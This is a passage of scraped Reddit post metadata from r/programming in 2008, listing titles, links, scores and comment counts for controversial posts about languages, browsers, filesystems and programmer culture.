  "title": "Saddest redesign ever.",
  "body": null,
  "author": "slowernet",
  "subreddit": "programming",
  "score": 106,
  "upvoteRatio": 0.51,
  "numComments": 239,
  "createdAt": "2008-08-29T16:56:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://jquery.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ymsz",
  "url": "http://gojko.net/2008/08/29/how-many-points-are-there-in-a-five-point-star",
  "permalink": "https://www.reddit.com/r/programming/comments/6ymsz/how_many_points_are_there_in_a_fivepoint_star/",
  "title": "How many points are there in a five-point star?",
  "body": null,
  "author": "gojko",
  "subreddit": "programming",
  "score": 74,
  "upvoteRatio": 0.53,
  "numComments": 116,
  "createdAt": "2008-08-29T13:37:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://gojko.net/2008/08/29/how-many-points-are-there-in-a-five-point-star",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6yh7t",
  "url": "http://thedailywtf.com/Articles/We-Burned-the-Poop.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/6yh7t/we_burned_the_poop/",
  "title": "We Burned The Poop",
  "body": null,
  "author": "misouza",
  "subreddit": "programming",
  "score": 44,
  "upvoteRatio": 0.52,
  "numComments": 81,
  "createdAt": "2008-08-28T16:45:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://thedailywtf.com/Articles/We-Burned-the-Poop.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ygwg",
  "url": "https://www.reddit.com/r/programming/comments/6ygwg/how_do_you_deal_wfriends_and_family_constantly/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ygwg/how_do_you_deal_wfriends_and_family_constantly/",
  "title": "How do you deal w/friends and family constantly wanting work done on their computers?",
  "body": null,
  "author": "TopRamen713",
  "subreddit": "programming",
  "score": 44,
  "upvoteRatio": 0.55,
  "numComments": 524,
  "createdAt": "2008-08-28T15:55:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/6ygwg/how_do_you_deal_wfriends_and_family_constantly/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ychq",
  "url": "http://www.microsoft.com/windows/internet-explorer/beta/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ychq/ie8_beta2_released/",
  "title": "IE8 beta2 released",
  "body": null,
  "author": "9jack9",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.51,
  "numComments": 110,
  "createdAt": "2008-08-27T22:20:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.microsoft.com/windows/internet-explorer/beta/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ybfi",
  "url": "http://www.gnu.org/philosophy/censoring-emacs.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6ybfi/censoring_my_software_the_new_version_of_the/",
  "title": "Censoring my software: \"The new version of the doctor doesn't recognize the indecent words; if you curse at it, it replays the curse back to you—for lack of knowing better.\" (RMS, 1996)",
  "body": null,
  "author": "dchestnykh",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.52,
  "numComments": 11,
  "createdAt": "2008-08-27T18:54:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.gnu.org/philosophy/censoring-emacs.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6y5mc",
  "url": "http://blogs.zdnet.com/security/?p=1788",
  "permalink": "https://www.reddit.com/r/programming/comments/6y5mc/hundreds_of_dutch_web_sites_hacked_by_islamic/",
  "title": "Hundreds of Dutch web sites hacked by Islamic hackers.  Muslim hackers say defacing websites is free speech.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 16,
  "upvoteRatio": 0.53,
  "numComments": 110,
  "createdAt": "2008-08-26T22:07:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.zdnet.com/security/?p=1788",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6y1vw",
  "url": "http://www.theregister.co.uk/2008/08/22/anatomy_of_a_hack/print.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6y1vw/anatomy_of_a_malware_scam/",
  "title": "Anatomy of a malware scam",
  "body": null,
  "author": "ashmodai",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.52,
  "numComments": 19,
  "createdAt": "2008-08-26T11:45:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theregister.co.uk/2008/08/22/anatomy_of_a_hack/print.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6xuzx",
  "url": "http://www.joelonsoftware.com/items/2008/08/22.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6xuzx/joel_says_never_mind_iphone_get_nokia_e71/",
  "title": "Joel says: \"Never mind IPhone - get Nokia E71\"",
  "body": null,
  "author": "ipeev",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.5,
  "numComments": 127,
  "createdAt": "2008-08-25T09:44:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.joelonsoftware.com/items/2008/08/22.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6x0yp",
  "url": "http://blog.james-carr.org/2008/08/18/how-to-not-fit-in-on-a-development-team/",
  "permalink": "https://www.reddit.com/r/programming/comments/6x0yp/how_to_not_fit_in_on_a_development_team/",
  "title": "How To Not Fit In On A Development Team",
  "body": null,
  "author": "digitalmoto",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 68,
  "createdAt": "2008-08-19T17:32:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.james-carr.org/2008/08/18/how-to-not-fit-in-on-a-development-team/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6wliy",
  "url": "http://qdb.us/53151",
  "permalink": "https://www.reddit.com/r/programming/comments/6wliy/the_value_of_pi_to_the_billionth_digit_is/",
  "title": " \"THE VALUE OF PI TO THE BILLIONTH DIGIT IS = \"",
  "body": null,
  "author": "ananthmv",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 24,
  "createdAt": "2008-08-16T15:42:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://qdb.us/53151",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6vdmw",
  "url": "http://i33.tinypic.com/2yuzsdf.png",
  "permalink": "https://www.reddit.com/r/programming/comments/6vdmw/bottom_of_the_nanth_bases_loaded_pic/",
  "title": "Bottom of the NaNth, bases loaded... [PIC]",
  "body": null,
  "author": "audiodude",
  "subreddit": "programming",
  "score": 143,
  "upvoteRatio": 0.59,
  "numComments": 104,
  "createdAt": "2008-08-07T22:35:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://i33.tinypic.com/2yuzsdf.png",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6uzgj",
  "url": "http://kuoi.com/~kamikaze/read.php?id=200",
  "permalink": "https://www.reddit.com/r/programming/comments/6uzgj/macs_make_programmers/",
  "title": "Macs make programmers",
  "body": null,
  "author": "d00kiestain",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 174,
  "createdAt": "2008-08-05T15:40:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://kuoi.com/~kamikaze/read.php?id=200",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6tsy9",
  "url": "http://dayvancowboy.org/2008/07/bit-bombs-and-other-dangers/",
  "permalink": "https://www.reddit.com/r/programming/comments/6tsy9/bit_bombs_and_other_dangers_a_42kb_zip_file_can/",
  "title": "Bit bombs and other dangers: a 42kb zip file can explode into a multi-petabyte mushroom cloud.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.52,
  "numComments": 46,
  "createdAt": "2008-07-28T15:56:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://dayvancowboy.org/2008/07/bit-bombs-and-other-dangers/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6t7hl",
  "url": "http://www.catonmat.net/blog/how-reddit-top-and-hacker-top-programs-were-made/",
  "permalink": "https://www.reddit.com/r/programming/comments/6t7hl/how_reddit_top_and_hacker_top_programs_were_made/",
  "title": "How Reddit Top and Hacker Top Programs Were Made",
  "body": null,
  "author": "pkrumins",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 10,
  "createdAt": "2008-07-24T05:49:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.catonmat.net/blog/how-reddit-top-and-hacker-top-programs-were-made/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6sm7m",
  "url": "http://www.kuro5hin.org/story/2008/6/14/24746/7652",
  "permalink": "https://www.reddit.com/r/programming/comments/6sm7m/microsoft_plays_dirty_with_gmail/",
  "title": "Microsoft Plays Dirty With Gmail",
  "body": null,
  "author": "qgyh2",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.52,
  "numComments": 65,
  "createdAt": "2008-07-20T13:25:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.kuro5hin.org/story/2008/6/14/24746/7652",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6qfgf",
  "url": "http://www.reddit.com/info/6plg8/comments/c04jboj",
  "permalink": "https://www.reddit.com/r/programming/comments/6qfgf/slava_pestov_says_gcc_is_developed_by_a_bunch_of/",
  "title": "Slava Pestov says GCC is developed by \"a bunch of idealistic kids on a mailing list.\"",
  "body": null,
  "author": "americanhellyeah",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 85,
  "createdAt": "2008-07-06T02:48:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.reddit.com/info/6plg8/comments/c04jboj",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6q6xq",
  "url": "http://en.wikipedia.org/wiki/List_of_HTTP_status_codes",
  "permalink": "https://www.reddit.com/r/programming/comments/6q6xq/http_error_418_im_a_teapot/",
  "title": "HTTP Error 418: \"I'm a teapot\"",
  "body": null,
  "author": "javert",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 24,
  "createdAt": "2008-07-03T23:42:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://en.wikipedia.org/wiki/List_of_HTTP_status_codes",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6nq7n",
  "url": "http://www.linuxjournal.com/content/firefox-3-given-world-%E2%80%93-or-maybe-not",
  "permalink": "https://www.reddit.com/r/programming/comments/6nq7n/firefox_3_is_given_to_the_world_or_maybe_not/",
  "title": "Firefox 3 Is Given to the World – Or Maybe Not",
  "body": null,
  "author": "dry_green_tea",
  "subreddit": "programming",
  "score": 106,
  "upvoteRatio": 0.58,
  "numComments": 163,
  "createdAt": "2008-06-17T13:12:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.linuxjournal.com/content/firefox-3-given-world-%E2%80%93-or-maybe-not",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6mo03",
  "url": "http://www.sitepoint.com/blogs/2008/06/06/did-rails-sink-twitter/",
  "permalink": "https://www.reddit.com/r/programming/comments/6mo03/did_rails_sink_twitter/",
  "title": "Did Rails Sink Twitter?",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.52,
  "numComments": 26,
  "createdAt": "2008-06-09T20:21:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.sitepoint.com/blogs/2008/06/06/did-rails-sink-twitter/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6mkrc",
  "url": "http://deceblog.net/uploads/2008/05/developers.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/6mkrc/born_brave_pic/",
  "title": "Born brave. [PIC]",
  "body": null,
  "author": "Mkcornick",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.54,
  "numComments": 43,
  "createdAt": "2008-06-09T07:09:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://deceblog.net/uploads/2008/05/developers.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6lel4",
  "url": "http://www.codinghorror.com/blog/archives/001124.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6lel4/coding_horror_strong_opinions_weakly_held/",
  "title": "Coding Horror: Strong Opinions, Weakly Held",
  "body": null,
  "author": "gthank",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 12,
  "createdAt": "2008-05-30T14:22:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.codinghorror.com/blog/archives/001124.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6kvif",
  "url": "http://www.cse.unsw.edu.au/~dons/tmp/reddit-w3m.png",
  "permalink": "https://www.reddit.com/r/programming/comments/6kvif/reddit_on_w3m052/",
  "title": "Reddit on w3m/0.5.2",
  "body": null,
  "author": "dons",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 4,
  "createdAt": "2008-05-27T01:23:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://www.cse.unsw.edu.au/~dons/tmp/reddit-w3m.png",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6kscz",
  "url": "http://briancarper.net/2008/05/25/emacs-undo-is-horrible/",
  "permalink": "https://www.reddit.com/r/programming/comments/6kscz/emacs_undo_is_horrible/",
  "title": "Emacs undo is horrible",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.55,
  "numComments": 104,
  "createdAt": "2008-05-26T07:47:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://briancarper.net/2008/05/25/emacs-undo-is-horrible/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6kp8r",
  "url": "http://slinky.imukuppi.org/wpress/wp-content/uploads/2008/05/msft_microsoft_vs_aapl_apple.jpg",
  "permalink": "https://www.reddit.com/r/programming/comments/6kp8r/the_day_windows_vista_was_launched_stock_market/",
  "title": "The Day Windows Vista Was Launched (stock market pic)",
  "body": null,
  "author": "jj666",
  "subreddit": "programming",
  "score": 54,
  "upvoteRatio": 0.56,
  "numComments": 75,
  "createdAt": "2008-05-25T09:39:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://slinky.imukuppi.org/wpress/wp-content/uploads/2008/05/msft_microsoft_vs_aapl_apple.jpg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6jzit",
  "url": "http://chalain.livejournal.com/72063.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6jzit/what_happens_when_nerds_hook_up_with_nerds/",
  "title": "What happens when nerds hook up with nerds...",
  "body": null,
  "author": "ellen_james",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.53,
  "numComments": 79,
  "createdAt": "2008-05-19T19:31:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://chalain.livejournal.com/72063.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6jx98",
  "url": "http://brian-jaress.livejournal.com/7595.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6jx98/two_semesters_of_c/",
  "title": "Two Semesters of C",
  "body": null,
  "author": "brian_jaress",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.52,
  "numComments": 29,
  "createdAt": "2008-05-19T10:51:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://brian-jaress.livejournal.com/7595.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6jn7o",
  "url": "http://www.phoronix.com/forums/showthread.php?t=9509",
  "permalink": "https://www.reddit.com/r/programming/comments/6jn7o/reiser4_the_linux_kernel_saboteurs/",
  "title": "Reiser4 - The Linux Kernel SABOTEURS??",
  "body": null,
  "author": "joaomc",
  "subreddit": "programming",
  "score": 36,
  "upvoteRatio": 0.56,
  "numComments": 53,
  "createdAt": "2008-05-16T13:58:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.phoronix.com/forums/showthread.php?t=9509",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6jddh",
  "url": "https://www.reddit.com/r/programming/comments/6jddh/proggit_malefemale_demographic_survey/",
  "permalink": "https://www.reddit.com/r/programming/comments/6jddh/proggit_malefemale_demographic_survey/",
  "title": "Proggit Male/Female demographic survey",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.52,
  "numComments": 165,
  "createdAt": "2008-05-14T15:56:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/6jddh/proggit_malefemale_demographic_survey/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6j5zz",
  "url": "http://beust.com/weblog/archives/000483.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6j5zz/return_of_the_statically_typed_languages/",
  "title": "Return of the Statically Typed Languages",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 93,
  "createdAt": "2008-05-13T06:01:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://beust.com/weblog/archives/000483.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ixsl",
  "url": "http://www.smbc-comics.com/index.php?db=comics&id=1169#comic",
  "permalink": "https://www.reddit.com/r/programming/comments/6ixsl/the_most_elegant_programming_language/",
  "title": "The Most Elegant Programming Language",
  "body": null,
  "author": "Poultry_In_Motion",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 27,
  "createdAt": "2008-05-11T05:23:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.smbc-comics.com/index.php?db=comics&id=1169#comic",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ikfy",
  "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=432406",
  "permalink": "https://www.reddit.com/r/programming/comments/6ikfy/mozilla_ships_a_compromised_extension/",
  "title": "Mozilla ships a compromised extension",
  "body": null,
  "author": "mlk",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 22,
  "createdAt": "2008-05-08T00:55:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=432406",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6igtq",
  "url": "http://groups.google.com/group/comp.lang.lisp/browse_thread/thread/79ade0f0e4232fe2/5a46764b5073dfd3",
  "permalink": "https://www.reddit.com/r/programming/comments/6igtq/are_we_close_to_a_lisp_boom/",
  "title": "Are we close to a Lisp boom?  ",
  "body": null,
  "author": "peterpincus",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.52,
  "numComments": 170,
  "createdAt": "2008-05-07T10:26:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://groups.google.com/group/comp.lang.lisp/browse_thread/thread/79ade0f0e4232fe2/5a46764b5073dfd3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ia0t",
  "url": "http://www.geeksaresexy.net/2008/05/05/one-encoding-to-rule-them-all/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ia0t/one_encoding_to_rule_them_all/",
  "title": "One encoding to rule them all",
  "body": null,
  "author": "bilal74",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.52,
  "numComments": 13,
  "createdAt": "2008-05-06T00:42:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.geeksaresexy.net/2008/05/05/one-encoding-to-rule-them-all/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6i8vi",
  "url": "http://www.win.tue.nl/~aeb/linux/lk/lk-9.html#ss9.6",
  "permalink": "https://www.reddit.com/r/programming/comments/6i8vi/linux_on_the_other_hand_is_seriously_broken_with/",
  "title": "\"Linux on the other hand is seriously broken\" with regards to memory management",
  "body": null,
  "author": "jlongster",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.54,
  "numComments": 98,
  "createdAt": "2008-05-05T19:14:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.win.tue.nl/~aeb/linux/lk/lk-9.html#ss9.6",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6hzb6",
  "url": "http://en.wikipedia.org/w/index.php?title=Comparison_of_file_systems&oldid=209063556#Features",
  "permalink": "https://www.reddit.com/r/programming/comments/6hzb6/in_a_comparison_of_filesystems_reiserfs_has_one/",
  "title": "In a comparison of filesystems, ReiserFS has one feature that all of the rest of them lack.",
  "body": null,
  "author": "IkoIkoComic",
  "subreddit": "programming",
  "score": 51,
  "upvoteRatio": 0.54,
  "numComments": 155,
  "createdAt": "2008-05-02T22:57:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://en.wikipedia.org/w/index.php?title=Comparison_of_file_systems&oldid=209063556#Features",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6hudi",
  "url": "http://www.techcrunch.com/2008/05/01/twitter-said-to-be-abandoning-ruby-on-rails/",
  "permalink": "https://www.reddit.com/r/programming/comments/6hudi/twitter_said_to_be_abandoning_ruby_on_rails/",
  "title": "Twitter Said To Be Abandoning Ruby on Rails",
  "body": null,
  "author": "noname99",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.54,
  "numComments": 128,
  "createdAt": "2008-05-01T21:38:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.techcrunch.com/2008/05/01/twitter-said-to-be-abandoning-ruby-on-rails/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6hm3u",
  "url": "http://lucumr.pocoo.org/cogitations/2008/04/29/the-pythonistas-are-wrong/",
  "permalink": "https://www.reddit.com/r/programming/comments/6hm3u/the_pythonistas_are_wrong/",
  "title": "The Pythonistas are Wrong",
  "body": null,
  "author": "frutiger",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 28,
  "createdAt": "2008-04-30T05:20:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://lucumr.pocoo.org/cogitations/2008/04/29/the-pythonistas-are-wrong/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6hka6",
  "url": "http://headius.blogspot.com/2008/04/rubyists-are-wrong.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6hka6/the_rubyists_are_wrong/",
  "title": "The Rubyists are Wrong",
  "body": null,
  "author": "paran0ide",
  "subreddit": "programming",
  "score": 68,
  "upvoteRatio": 0.58,
  "numComments": 56,
  "createdAt": "2008-04-29T19:30:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://headius.blogspot.com/2008/04/rubyists-are-wrong.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6hinq",
  "url": "https://www.reddit.com/r/programming/comments/6hinq/how_many_of_you_developers_prefer_not_to_use_a/",
